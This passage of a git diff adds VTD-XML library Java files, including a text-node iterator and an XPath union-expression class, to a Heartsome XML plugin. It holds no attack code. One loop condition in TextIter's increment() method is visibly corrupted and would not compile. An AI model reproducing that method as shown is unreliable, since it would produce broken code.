Boston, MA 02111-1307, USA. + */ +package com.ximpleware; +/** + * This class iterates through all text nodes of an element. + * VTDNav has getText() which is inadequate for mixed content style of XML. + * text nodes include character_data and CDATA. + * Since version 2.8, selectText(), selectComment(), and selectPI() were + * added + * Creation date: (12/5/03 5:53:41 PM) + */ +public class TextIter { + + private int prevLocation; //previous location of text node + protected int depth; + protected int index; // this is index for the element + + protected VTDNav vn; + + private int lcIndex; + private int lcLower; + private int lcUpper; + private int sel_type; + private String piName; + /** + * TextIter constructor comment. + * Text type is selected by default + */ + public TextIter() { + super(); + vn = null; + sel_type = 0; + piName = null; + /*sel_char_data = true; + sel_comment = true; + sel_cdata = true;*/ + } + + /** + * Ask textIter to return character data or CDATA nodes + */ + public void selectText( ){ + sel_type = 0; + } + + /** + * Ask textIter to return comment nodes + */ + public void selectComment(){ + sel_type = 1; + } + + /** + * Ask TextIter to return processing instruction name + * no value + */ + public void selectPI0(){ + sel_type = 2; + } + + public void selectPI1(String s){ + sel_type =3; + piName = s; + } + + public void selectNode(){ + sel_type =4; + } +/** + * Get the index vals for the text, PI name, or comment node in document order. + * Creation date: (12/5/03 6:11:50 PM) + * @return int (-1 if no more left) + */ +public int getNext() { + if (vn == null) + throw new IllegalArgumentException(" VTDNav instance can't be null"); + if (vn.shallowDepth) + switch (depth) { + case -1: + return handleDocumentNode(); + case 0: + return handleLevel0(); + case 1: + return handleLevel1(); + case 2: + return handleLevel2(); + default: + return handleDefault(); + } + else { + + switch (depth) { + + case -1: + return handleDocumentNode(); + case 0: + return handleLevel0(); + case 1: + return handleLevel1(); + case 2: + return _handleLevel2(); + case 3: + return handleLevel3(); + case 4: + return handleLevel4(); + default: + return handleDefault(); + } + } + //prevLocation = vtdSize-1; +} +/** + * Test whether a give token type is a TEXT, comment or PI name + * Creation date: (12/11/03 3:46:10 PM) + * @return boolean + * @param type int + */ + final private boolean isText(int index) { + int type = vn.getTokenType(index); + /*if (sel_type == 0) { + return (type == VTDNav.TOKEN_CHARACTER_DATA + // || type == vn.TOKEN_COMMENT + || type == VTDNav.TOKEN_CDATA_VAL); + } + + if (sel_type == 1) { + return (type == VTDNav.TOKEN_COMMENT); + } + + if (sel_type == 2) + return (type == VTDNav.TOKEN_PI_NAME); + if (sel_type == 3) + try { + return (vn.matchRawTokenString(index, piName)); + } catch(NavException e){ + return false; + } + return true;*/ + switch(sel_type){ + case 0:return (type == VTDNav.TOKEN_CHARACTER_DATA + // || type == vn.TOKEN_COMMENT + || type == VTDNav.TOKEN_CDATA_VAL); + case 1: return (type == VTDNav.TOKEN_COMMENT); + case 2: return (type == VTDNav.TOKEN_PI_NAME); + case 3: try { + return (vn.matchRawTokenString(index, piName)); + } catch(NavException e){ + return false; + } + case 4: return type!=VTDNav.TOKEN_PI_VAL; + default: return false; + } + + + } + /** + * Obtain the current navigation position and element info from VTDNav. So + * one can instantiate it once and use it for many different elements + * Creation date: (12/5/03 6:20:44 PM) + * + * @param v + * com.ximpleware.VTDNav + */ + public void touch(VTDNav v) { + if (v == null) + throw new IllegalArgumentException(" VTDNav instance can't be null"); + + depth = v.context[0]; + if (depth == -1) + index = 0; + else + index = (depth != 0) ? v.context[depth] : v.rootIndex; + + vn = v; + prevLocation = -1; + lcIndex = -1; + lcUpper = -1; + lcLower = -1; + } + + private int increment(int sp){ + + int type = vn.getTokenType(sp); + int vtdSize = vn.vtdBuffer.size; + int i=sp+1; + while(i>32) + == vn.getTokenOffset(i)) + ){ + i++; + } + return i; + } + + private int handleLevel0(){ + // scan forward, if none found, jump to level 1 element and scan backward until one is found + // if there isn't a level-one element, jump to the end of vtd buffer and scan backward + + int sp = (prevLocation != -1) ? increment(prevLocation): index + 1; + if (vn.l1Buffer.size != 0) { + int temp1 = vn.l1Buffer.upper32At(0); + int temp2 = vn.l1Buffer.upper32At(vn.l1Buffer.size - 1); + lcIndex = (lcIndex != -1) ? lcIndex : 0; + while (sp < vn.vtdSize) { + if (sp >= temp1 && sp < temp2) { + int s = vn.l1Buffer.upper32At(lcIndex); + if (sp == s) { // get to the next l1 element then do a rewind + lcIndex++; + sp = vn.l1Buffer.upper32At(lcIndex)-1; + boolean b = false; + while (vn.getTokenDepth(sp) == 0 + /*&& vn.getTokenType(sp) != VTDNav.TOKEN_STARTING_TAG*/) { //probe depth in here + b = true; + sp--; + } + if (b) + sp++; // point to the first possible node + } + if (isText(sp) == true && vn.getTokenDepth(sp)==0) { + prevLocation = sp; + return sp; + } + sp++; + } else if (sp < temp1) { + if (isText(sp) == true && vn.getTokenDepth(sp)==0) { + prevLocation = sp; + return sp; + } + sp++; + } else { + if (sp == temp2) { // get to the end of the document and do a rewind + sp = vn.vtdBuffer.size- 1; + while (vn.getTokenDepth(sp) <= 0) { + sp--; + } + sp++; + //continue; + } + if (sp>=vn.vtdSize) + return -1; + else if (isText(sp) == true && vn.getTokenDepth(sp)==0) { + prevLocation = sp; + return sp; + } + else if (vn.getTokenDepth(sp)>1) { + break; + } + sp++; + } + } + //prevLocation = vtdSize-1; + return -1; + // found nothing + } else { + // no child element for root, just scan right forward + while (sp < vn.vtdSize) { + if (isText(sp) == true && vn.getTokenDepth(sp)==0) { + prevLocation = sp; + return sp; + } + sp++; + } + return -1; + } + } + + private int handleLevel1(){ + int sp; + if (prevLocation != -1) { + sp = increment(prevLocation) ; + } else { + // fetch lclower and lcupper + lcLower = vn.l1Buffer.lower32At(vn.l1index); + if (lcLower != -1) { + lcUpper = vn.l2Buffer.size - 1; + int size = vn.l1Buffer.size; + for (int i = vn.l1index + 1; i < size ; i++) { + int temp = vn.l1Buffer.lower32At(i); + if (temp != 0xffffffff) { + lcUpper = temp - 1; + break; + } + } + } + sp = index + 1; + } // check for l2lower and l2upper + + if (lcLower != -1) { // have at least one child element + int temp1 = vn.l2Buffer.upper32At(lcLower); + int temp2 = vn.l2Buffer.upper32At(lcUpper); + lcIndex = (lcIndex != -1) ? lcIndex : lcLower; + while (sp < vn.vtdSize) { + int s = vn.l2Buffer.upper32At(lcIndex); + if (sp >= temp1 && sp < temp2) { + if (sp == s) { + lcIndex++; + sp = vn.l2Buffer.upper32At(lcIndex) - 1; + //boolean b = false; + while (vn.getTokenDepth(sp) == 1) { + //b = true; + sp--; + } + //if (b) + sp++; + //continue; + } + if (isText(sp) == true && vn.getTokenDepth(sp)==1 ) { + prevLocation = sp; + return sp; + } + sp++; + } else if (sp < temp1) { + if (isText(sp) == true) { + prevLocation = sp; + return sp; + } + sp++; + } else { + //if (sp == temp2) { // last child element + //} else + + if (isText(sp) == true && vn.getTokenDepth(sp) == 1){ + //System.out.println("depth ->"+vn.getTokenDepth(sp)); + prevLocation = sp; + return sp; + } else if ((vn.getTokenType(sp)==VTDNav.TOKEN_STARTING_TAG + && vn.getTokenDepth(sp) < 2 ) || vn.getTokenDepth(sp)<1) { + break; + } + sp++; + } + } + //prevLocation = vtdSize-1; + return -1; + } else { // no child element + if (sp>=vn.vtdSize) return -1; + int d = vn.getTokenDepth(sp); + int type = vn.getTokenType(sp); + while (sp < vn.vtdSize + && d >= 1 + && !(d == 1 && type == VTDNav.TOKEN_STARTING_TAG)) { + if (isText(sp) == true) { + prevLocation = sp; + return sp; + } + sp++; + d = vn.getTokenDepth(sp); + type = vn.getTokenType(sp); + + } + //prevLocation = vtdSize-1; + return -1; + } + } + + private int handleLevel2(){ + int sp; + if (prevLocation != -1) { + sp = increment(prevLocation); + } else { + // fetch lclower and lcupper + lcLower = vn.l2Buffer.lower32At(vn.l2index); + if (lcLower != -1) { + lcUpper = vn.l3Buffer.size - 1; + int size = vn.l2Buffer.size; + for (int i = vn.l2index + 1; i < size ; i++) { + int temp = vn.l2Buffer.lower32At(i); + if (temp != 0xffffffff) { + lcUpper = temp - 1; + break; + } + } + } + sp = index + 1; + } // check for l3lower and l3upper + + if (lcLower != -1) { // at least one child element + int temp1 = vn.l3Buffer.intAt(lcLower); + int temp2 = vn.l3Buffer.intAt(lcUpper); + lcIndex = (lcIndex != -1) ? lcIndex : lcLower; + while (sp < vn.vtdSize) { + int s = vn.l3Buffer.intAt(lcIndex); + //int s = vn.l2Buffer.upper32At(lcIndex); + if (sp >= temp1 && sp < temp2) { + if (sp == s) { + lcIndex++; + sp = vn.l3Buffer.intAt(lcIndex) - 1; + //boolean b = false; + while (vn.getTokenDepth(sp) == 2) { + sp--; + // b = true; + } + //if (b) + sp++; + //continue; + } + if (isText(sp) == true && vn.getTokenDepth(sp)==2) { + prevLocation = sp; + return sp; + } + sp++; + } else if (sp < temp1) { + if (isText(sp) == true && vn.getTokenDepth(sp)==2) { + prevLocation = sp; + return sp; + } + sp++; + } else { + //if (sp == temp2) { // last child element + //} else + if ( isText(sp) == true && vn.getTokenDepth(sp) == 2) { + prevLocation = sp; + return sp; + } else if ((vn.getTokenType(sp)==VTDNav.TOKEN_STARTING_TAG + && vn.getTokenDepth(sp) < 3 ) || vn.getTokenDepth(sp)<2) { + break; + } + sp++; + } + } + //prevLocation = vtdSize-1; + return -1; + } else { // no child elements + if (sp>=vn.vtdSize) return -1; + int d = vn.getTokenDepth(sp); + int type = vn.getTokenType(sp); + while (sp < vn.vtdSize + && d >= 2 + && !(d == 2 && type == VTDNav.TOKEN_STARTING_TAG)) { + // the last condition indicates the start of the next sibling element + if (isText(sp) == true && vn.getTokenDepth(sp)==2) { + prevLocation = sp; + return sp; + } + sp++; + d = vn.getTokenDepth(sp); + type = vn.getTokenType(sp); + + } + //prevLocation = vtdSize-1; + return -1; + } + } + + private int handleLevel3(){ + + int sp; + VTDNav_L5 vnl = (VTDNav_L5)vn; + if (prevLocation != -1) { + sp = increment(prevLocation); + } else { + // fetch lclower and lcupper + lcLower = vnl.l3Buffer.lower32At(vnl.l3index); + if (lcLower != -1) { + lcUpper = vnl.l4Buffer.size - 1; + int size = vnl.l3Buffer.size; + for (int i = vnl.l3index + 1; i < size ; i++) { + int temp = vnl.l3Buffer.lower32At(i); + if (temp != 0xffffffff) { + lcUpper = temp - 1; + break; + } + } + } + sp = index + 1; + } // check for l3lower and l3upper + if (lcLower != -1) { // at least one child element + int temp1 = vnl.l4Buffer.upper32At(lcLower); + int temp2 = vnl.l4Buffer.upper32At(lcUpper); + lcIndex = (lcIndex != -1) ? lcIndex : lcLower; + while (sp < vn.vtdSize) { + int s = vnl.l4Buffer.upper32At(lcIndex); + //int s = vn.l2Buffer.upper32At(lcIndex); + if (sp >= temp1 && sp < temp2) { + if (sp == s) { + lcIndex++; + sp = vnl.l4Buffer.upper32At(lcIndex) - 1; + //boolean b = false; + while (vn.getTokenDepth(sp) == 2) { + sp--; + // b = true; + } + //if (b) + sp++; + //continue; + } + if (isText(sp) == true && vn.getTokenDepth(sp)==3) { + prevLocation = sp; + return sp; + } + sp++; + } else if (sp < temp1) { + if (isText(sp) == true && vn.getTokenDepth(sp)==3) { + prevLocation = sp; + return sp; + } + sp++; + } else { + //if (sp == temp2) { // last child element + //} else + if ( isText(sp) == true && vn.getTokenDepth(sp) == 3) { + prevLocation = sp; + return sp; + } else if ((vn.getTokenType(sp)==VTDNav.TOKEN_STARTING_TAG + && vn.getTokenDepth(sp) < 4 ) || vn.getTokenDepth(sp)<3) { + break; + } + sp++; + } + } + //prevLocation = vtdSize-1; + return -1; + } else { // no child elements + if (sp>=vn.vtdSize) return -1; + int d = vn.getTokenDepth(sp); + int type = vn.getTokenType(sp); + while (sp < vn.vtdSize + && d >= 3 + && !(d == 3 && type == VTDNav.TOKEN_STARTING_TAG)) { + // the last condition indicates the start of the next sibling element + if (isText(sp) == true && vn.getTokenDepth(sp)==3) { + prevLocation = sp; + return sp; + } + sp++; + d = vn.getTokenDepth(sp); + type = vn.getTokenType(sp); + + } + //prevLocation = vtdSize-1; + return -1; + } + + } + + + + private int handleLevel4(){ //l2 + int sp; + VTDNav_L5 vnl = (VTDNav_L5)vn; + if (prevLocation != -1) { + sp = increment(prevLocation); + } else { + // fetch lclower and lcupper + lcLower = vnl.l4Buffer.lower32At(vnl.l4index); + if (lcLower != -1) { + lcUpper = vnl.l5Buffer.size - 1; //5 + int size = vnl.l4Buffer.size; //4 + for (int i = vnl.l4index + 1; i < size ; i++) {//4 + int temp = vnl.l4Buffer.lower32At(i); //4 + if (temp != 0xffffffff) { + lcUpper = temp - 1; + break; + } + } + } + sp = index + 1; + } // check for l3lower and l3upper + + if (lcLower != -1) { // at least one child element + int temp1 = vnl.l5Buffer.intAt(lcLower); + int temp2 = vnl.l5Buffer.intAt(lcUpper); + lcIndex = (lcIndex != -1) ? lcIndex : lcLower; + while (sp < vn.vtdSize) { + int s = vnl.l5Buffer.intAt(lcIndex); + //int s = vn.l2Buffer.upper32At(lcIndex); + if (sp >= temp1 && sp < temp2) { + if (sp == s) { + lcIndex++; + sp = vnl.l5Buffer.intAt(lcIndex) - 1; + //boolean b = false; + while (vn.getTokenDepth(sp) == 4) { + sp--; + // b = true; + } + //if (b) + sp++; + //continue; + } + if (isText(sp) == true && vn.getTokenDepth(sp)==4) { + prevLocation = sp; + return sp; + } + sp++; + } else if (sp < temp1) { + if (isText(sp) == true && vn.getTokenDepth(sp)==4) { + prevLocation = sp; + return sp; + } + sp++; + } else { + //if (sp == temp2) { // last child element + //} else + if ( isText(sp) == true && vn.getTokenDepth(sp) == 4) { + prevLocation = sp; + return sp; + } else if ((vn.getTokenType(sp)==VTDNav.TOKEN_STARTING_TAG + && vn.getTokenDepth(sp) < 5 ) || vn.getTokenDepth(sp)<4) { + break; + } + sp++; + } + } + //prevLocation = vtdSize-1; + return -1; + } else { // no child elements + if (sp>=vn.vtdSize) return -1; + int d = vn.getTokenDepth(sp); + int type = vn.getTokenType(sp); + while (sp < vn.vtdSize + && d >= 4 + && !(d == 4 && type == VTDNav.TOKEN_STARTING_TAG)) { + // the last condition indicates the start of the next sibling element + if (isText(sp) == true && vn.getTokenDepth(sp)== 4) { + prevLocation = sp; + return sp; + } + sp++; + d = vn.getTokenDepth(sp); + type = vn.getTokenType(sp); + + } + //prevLocation = vtdSize-1; + return -1; + } + } + + + private int _handleLevel2(){ + int sp; + VTDNav_L5 vnl = (VTDNav_L5)vn; + if (prevLocation != -1) { + sp = increment(prevLocation); + } else { + // fetch lclower and lcupper + lcLower = vnl.l2Buffer.lower32At(vnl.l2index); + if (lcLower != -1) { + lcUpper = vnl.l3Buffer.size - 1; + int size = vnl.l2Buffer.size; + for (int i = vnl.l2index + 1; i < size ; i++) { + int temp = vnl.l2Buffer.lower32At(i); + if (temp != 0xffffffff) { + lcUpper = temp - 1; + break; + } + } + } + sp = index + 1; + } // check for l3lower and l3upper + + if (lcLower != -1) { // at least one child element + int temp1 = vnl.l3Buffer.upper32At(lcLower); + int temp2 = vnl.l3Buffer.upper32At(lcUpper); + lcIndex = (lcIndex != -1) ? lcIndex : lcLower; + while (sp < vnl.vtdSize) { + int s = vnl.l3Buffer.upper32At(lcIndex); + //int s = vn.l2Buffer.upper32At(lcIndex); + if (sp >= temp1 && sp < temp2) { + if (sp == s) { + lcIndex++; + sp = vnl.l3Buffer.upper32At(lcIndex) - 1; + //boolean b = false; + while (vnl.getTokenDepth(sp) == 2) { + sp--; + // b = true; + } + //if (b) + sp++; + //continue; + } + if (isText(sp) == true && vnl.getTokenDepth(sp)==2) { + prevLocation = sp; + return sp; + } + sp++; + } else if (sp < temp1) { + if (isText(sp) == true && vnl.getTokenDepth(sp)==2) { + prevLocation = sp; + return sp; + } + sp++; + } else { + //if (sp == temp2) { // last child element + //} else + if ( isText(sp) == true && vnl.getTokenDepth(sp) == 2) { + prevLocation = sp; + return sp; + } else if ((vnl.getTokenType(sp)==VTDNav.TOKEN_STARTING_TAG + && vnl.getTokenDepth(sp) < 3 ) || vnl.getTokenDepth(sp)<2) { + break; + } + sp++; + } + } + //prevLocation = vtdSize-1; + return -1; + } else { // no child elements + if (sp>=vn.vtdSize) return -1; + int d = vn.getTokenDepth(sp); + int type = vn.getTokenType(sp); + while (sp < vn.vtdSize + && d >= 2 + && !(d == 2 && type == VTDNav.TOKEN_STARTING_TAG)) { + // the last condition indicates the start of the next sibling element + if (isText(sp) == true && vn.getTokenDepth(sp)==2) { + prevLocation = sp; + return sp; + } + sp++; + d = vn.getTokenDepth(sp); + type = vn.getTokenType(sp); + + } + //prevLocation = vtdSize-1; + return -1; + } + } + + + private int handleDefault(){ + //int curDepth = vn.context[0]; + int sp = (prevLocation != -1) ? increment(prevLocation): index + 1; + if (sp>=vn.vtdSize) return -1; + int d = vn.getTokenDepth(sp); + int type = vn.getTokenType(sp); + while (d >= depth + && !(d == depth && type == VTDNav.TOKEN_STARTING_TAG)) { + if (isText(sp) == true && d == depth) { + prevLocation = sp; + return sp; + } + sp++; + if(sp >= vn.vtdSize) + return -1; + + d = vn.getTokenDepth(sp); + type = vn.getTokenType(sp); + } + return -1; + } + + private int handleDocumentNode(){ + if (sel_type == 0) + return -1; + int sp = (prevLocation != -1) ? increment(prevLocation): index + 1; + if (sp>=vn.vtdSize) return -1; + //int d = vn.getTokenDepth(sp); + //int type = vn.getTokenType(sp); + //while (d == -1/*&& !(d == depth && type == VTDNav.TOKEN_STARTING_TAG)*/) { + while(true){ + if (sp< vn.rootIndex) { + if (isText(sp)){ + prevLocation = sp; + return sp; + } else + sp++; + } else { + // rewind to the end of document + if (sp == vn.rootIndex){ + sp = vn.vtdSize-1; + while(vn.getTokenDepth(sp)==-1){ + sp--; + } + sp++; + } + if (sp>=vn.vtdSize){ + return -1; + } else if (isText(sp)){ + prevLocation = sp; + return sp; + } else + sp++; + } + + } + } + +} diff --git a/base_plugins/net.heartsome.xml/src/com/ximpleware/TranscodeException.java b/base_plugins/net.heartsome.xml/src/com/ximpleware/TranscodeException.java new file mode 100644 index 0000000..8249c25 --- /dev/null +++ b/base_plugins/net.heartsome.xml/src/com/ximpleware/TranscodeException.java @@ -0,0 +1,31 @@ +/* + * Copyright (C) 2002-2012 XimpleWare, info@ximpleware.com + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + */ +package com.ximpleware; + +/** + * TranscodeException is thrown when there is exception condition (in XMLModifier) + * for transcoding characters + * + */ +public class TranscodeException extends VTDException { + public TranscodeException(String s){ + super(s); + } + public TranscodeException(){ + } +} diff --git a/base_plugins/net.heartsome.xml/src/com/ximpleware/UniByteBuffer.java b/base_plugins/net.heartsome.xml/src/com/ximpleware/UniByteBuffer.java new file mode 100644 index 0000000..6b86175 --- /dev/null +++ b/base_plugins/net.heartsome.xml/src/com/ximpleware/UniByteBuffer.java @@ -0,0 +1,73 @@ +/* + * Copyright (C) 2002-2012 XimpleWare, info@ximpleware.com + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + */ +package com.ximpleware; +/** + * A simple wrapper around monolithic byte array implementing IByteBuffer interface. + * Creation date: (11/25/03 5:05:57 PM) + */ +public class UniByteBuffer implements IByteBuffer { + private byte[] ba; +/** + * UniByteBuffer constructor comment. + * @exception IllegalArguement when b is a null pointer + */ +public UniByteBuffer(byte[] b) { + super(); + if (b==null) + throw new IllegalArgumentException(); + ba = b; +} +/** + * Get the byte at the index. + * Creation date: (11/25/03 5:07:42 PM) + * @return byte + * @param index int + */ +public final byte byteAt(int index) { + return (byte) ba[index]; +} +/** + * Return the token in its original encoding format. + * Creation date: (11/28/03 7:02:07 PM) + * @return byte[] + * @param offset int + * @param len int + */ +public final byte[] getBytes(int offset, int len) { + byte[] b = new byte[len]; + System.arraycopy(ba, offset, b, 0, len); + return b; +} +/** + * Get total size in terms of # of bytes. + * Creation date: (11/25/03 5:13:10 PM) + * @return int + */ +public int length() { + return ba.length; +} + +/** + * Return the byte array containing the original XML document + * @return byte[] + * + */ +public byte[] getBytes(){ + return ba; +} +} diff --git a/base_plugins/net.heartsome.xml/src/com/ximpleware/UnionExpr.java b/base_plugins/net.heartsome.xml/src/com/ximpleware/UnionExpr.java new file mode 100644 index 0000000..172af22 --- /dev/null +++ b/base_plugins/net.heartsome.xml/src/com/ximpleware/UnionExpr.java @@ -0,0 +1,426 @@ +/* + * Copyright (C) 2002-2012 XimpleWare, info@ximpleware.com + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + */ +package com.ximpleware; + +import com.ximpleware.xpath.*; + +public class UnionExpr extends Expr { + public intHash ih; + + public Expr e; + + public UnionExpr next; + + UnionExpr current; + + int state; + + public UnionExpr(Expr e1) { + e = e1; + next = null; + current = this; + ih = null; + state = 0; + //cacheable =false; + } + + /* + * (non-Javadoc) + * + * @see com.ximpleware.xpath.Expr#evalBoolean(com.ximpleware.VTDNav) + */ + final public boolean evalBoolean(VTDNav vn) { + /*if (e.isNodeSet()==false) + return e.evalBoolean(vn); + else{*/ + boolean a = false; + vn.push2(); + // record teh stack size + int size = vn.contextStack2.size; + try { + a = (evalNodeSet(vn) != -1); + } catch (Exception e) { + } + //rewind stack + vn.contextStack2.size = size; + reset(vn); + vn.pop2(); + return a; + //} + /*else if (e.isNumerical()){ + double dval = e.evalNumber(vn); + if (dval == 0.0 || Double.isNaN(dval) ) + return false; + return true; + + }else { + String s = e.evalString(vn); + if (s==null || s.length()==0) + return false; + return true; + + }*/ + } + + /* + * (non-Javadoc) + * + * @see com.ximpleware.xpath.Expr#evalNumber(com.ximpleware.VTDNav) + */ + final public double evalNumber(VTDNav vn) { + if (e.isNodeSet()== false) + return e.evalNumber(vn); + //double d; + double d = Double.NaN; + int a = -1; + vn.push2(); + int size = vn.contextStack2.size; + try { + a = evalNodeSet(vn); + if (a != -1) { + int t = vn.getTokenType(a); + if (t == VTDNav.TOKEN_ATTR_NAME) { + d = vn.parseDouble(a+1); + } else if (t == VTDNav.TOKEN_STARTING_TAG || t ==VTDNav.TOKEN_DOCUMENT) { + String s = vn.getXPathStringVal(); + d = Double.parseDouble(s); + }else if (t == VTDNav.TOKEN_PI_NAME) { + if (a+1 < vn.vtdSize || vn.getTokenType(a+1)==VTDNav.TOKEN_PI_VAL) + //s = vn.toString(a+1); + d = vn.parseDouble(a+1); + }else + d = vn.parseDouble(a); + } + } catch (Exception e) { + + } + vn.contextStack2.size = size; + reset(vn); + vn.pop2(); + //return s; + return d; + } + + /* + * (non-Javadoc) + * + * @see com.ximpleware.xpath.Expr#evalNodeSet(com.ximpleware.VTDNav) + */ + final public int evalNodeSet(VTDNav vn) throws XPathEvalException, NavException { + int a; + /*if (this.next == null) { + return e.evalNodeSet(vn); + } else {*/ + while (true) { + switch (state) { + case 0: + if (ih==null) + ih = new intHash(); + if (current != null) { + vn.push2(); + while ((a = current.e.evalNodeSet(vn)) != -1) { + if (isUnique(a)) { + state = 1; + return a; + } + } + state = 2; + vn.pop2(); + break; + } else + state = 3; + break; + + case 1: + while ((a = current.e.evalNodeSet(vn)) != -1) { + if (isUnique(a)) { + state = 1; + return a; + } + } + state = 2; + vn.pop2(); + break; + + case 2: + current = current.next; + if (current != null) { + vn.push2(); + while ((a = current.e.evalNodeSet(vn)) != -1) { + if (isUnique(a)) { + state = 1; + return a; + } + } + vn.pop2(); + break; + } else + state = 3; + break; + + case 3: + return -1; + + default: + throw new XPathEvalException( + "Invalid state evaluating UnionExpr"); + } + } + //} + /* + * default: throw new XPathEvalException( "Invalid state evaluating + * PathExpr"); + */ + } + + /* + * (non-Javadoc) + * + * @see com.ximpleware.xpath.Expr#evalString(com.ximpleware.VTDNav) + */ + final public String evalString(VTDNav vn) { + if (e.isNodeSet() == false) + return e.evalString(vn); + else { + String s = ""; + int a = -1; + vn.push2(); + int size = vn.contextStack2.size; + try { + a = evalNodeSet(vn); + if (a != -1) { + int t = vn.getTokenType(a); + switch(t){ + case VTDNav.TOKEN_STARTING_TAG: + case VTDNav.TOKEN_DOCUMENT: + s = vn.getXPathStringVal(); + break; + case VTDNav.TOKEN_ATTR_NAME: + s = vn.toString(a + 1); + break; + case VTDNav.TOKEN_PI_NAME: + //if (a + 1 < vn.vtdSize + // || vn.getTokenType(a + 1) == VTDNav.TOKEN_PI_VAL) + s = vn.toString(a + 1); + break; + default: + s = vn.toString(a); + break; + } + /*if (t == VTDNav.TOKEN_ATTR_NAME) { + s = vn.toString(a + 1); + } else if (t == VTDNav.TOKEN_STARTING_TAG + || t == VTDNav.TOKEN_DOCUMENT) { + s = vn.getXPathStringVal(); + } else if (t == VTDNav.TOKEN_PI_NAME) { + if (a + 1 < vn.vtdSize + || vn.getTokenType(a + 1) == VTDNav.TOKEN_PI_VAL) + s = vn.toString(a + 1); + // s = vn.toString(a+1); + } else + s = vn.toString(a);*/ + } + } catch (Exception e) { + + } + vn.contextStack2.size = size; + reset(vn); + vn.pop2(); + return s; + } + } + + /* + * (non-Javadoc) + * + * @see com.ximpleware.xpath.Expr#reset(com.ximpleware.VTDNav) + */ + final public void reset(VTDNav vn) { + // travese el list and reset every expression + e.reset(vn); + current = this; + UnionExpr tmp = this.next; + while (tmp != null) { + tmp.e.reset(vn); + tmp = tmp.next; + } + if (ih != null) + ih.reset(); + state = 0; + } + + /* + * (non-Javadoc) + * + * @see java.lang.Object#toString() + */ + final public String toString() { + if (this.next == null) + return this.e.toString(); + else + return this.e.toString() + " | " + this.next.toString(); + + } + + /* + * (non-Javadoc) + * + * @see com.ximpleware.xpath.Expr#isNumerical() + */ + final public boolean isNumerical() { + return e.isNumerical(); + } + + /* + * (non-Javadoc) + * + * @see com.ximpleware.xpath.Expr#isNodeSet() + */ + final public boolean isNodeSet() { + return e.isNodeSet(); + } + + /* + * (non-Javadoc) + * + * @see com.ximpleware.xpath.Expr#isString() + */ + final public boolean isString() { + return e.isString(); + } + + /* + * (non-Javadoc) + * + * @see com.ximpleware.xpath.Expr#isBoolean() + */ + final public boolean isBoolean() { + return e.isBoolean(); + } + + /* + * (non-Javadoc) + * + * @see com.ximpleware.xpath.Expr#requireContextSize() + */ + final public boolean requireContextSize() { + // boolean b = false; + UnionExpr tmp = this; + while (tmp != null) { + if (tmp.e.requireContextSize()== true){ + return true; + } + tmp = tmp.next; + } + return false; + } + + /* + * (non-Javadoc) + * + * @see com.ximpleware.xpath.Expr#setContextSize(int) + */ + final public void setContextSize(int size) { + current = this; + current.e.setContextSize(size); + UnionExpr tmp = this.next; + while (tmp != null) { + tmp.e.setContextSize(size); + tmp = tmp.next; + } + } + + /* + * (non-Javadoc) + * + * @see com.ximpleware.xpath.Expr#setPosition(int) + */ + final public void setPosition(int pos) { + + current = this; + current.e.setPosition(pos); + UnionExpr tmp = this.next; + while (tmp != null) { + tmp.e.setPosition(pos); + tmp = tmp.next; + } + + } + + final public boolean isUnique(int i) { + return ih.isUnique(i); + + } + + final public int adjust(int n){ + int i = e.adjust(n); + if (this.next == null) + return i; // no need to create hash table here + if (ih!=null && i==ih.e) + {} + else + ih = new intHash(i); + UnionExpr tmp = this.next; + while (tmp != null) { + tmp.e.adjust(n); + tmp = tmp.next; + } + return i; + } + + final public boolean isFinal(){ + + UnionExpr tmp = this; + while (tmp != null) { + if (tmp.e.isFinal()== false){ + return false; + } + tmp = tmp.next; + } + return true; + } + + final public void markCacheable(){ + UnionExpr tmp = this; + while (tmp != null) { + tmp.e.markCacheable(); + tmp = tmp.next; + } + } + + final public void markCacheable2(){ + UnionExpr tmp = this; + while (tmp != null) { + if (tmp.e.isFinal() && tmp.e.isNodeSet()){ + CachedExpr ce = new CachedExpr(tmp.e); + tmp.e = ce; + } + tmp.e.markCacheable2(); + tmp = tmp.next; + } + } + + final public void clearCache(){ + UnionExpr tmp = this; + while (tmp != null) { + tmp.e.clearCache(); + tmp = tmp.next; + } + } + +} \ No newline at end of file diff --git a/base_plugins/net.heartsome.xml/src/com/ximpleware/VTDException.java b/base_plugins/net.heartsome.xml/src/com/ximpleware/VTDException.java new file mode 100644 index 0000000..c0f5fc6 --- /dev/null +++ b/base_plugins/net.heartsome.xml/src/com/ximpleware/VTDException.java @@ -0,0 +1,30 @@ +/* + * Copyright (C) 2002-2012 XimpleWare, info@ximpleware.com + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + */ +package com.ximpleware; + +/** + * 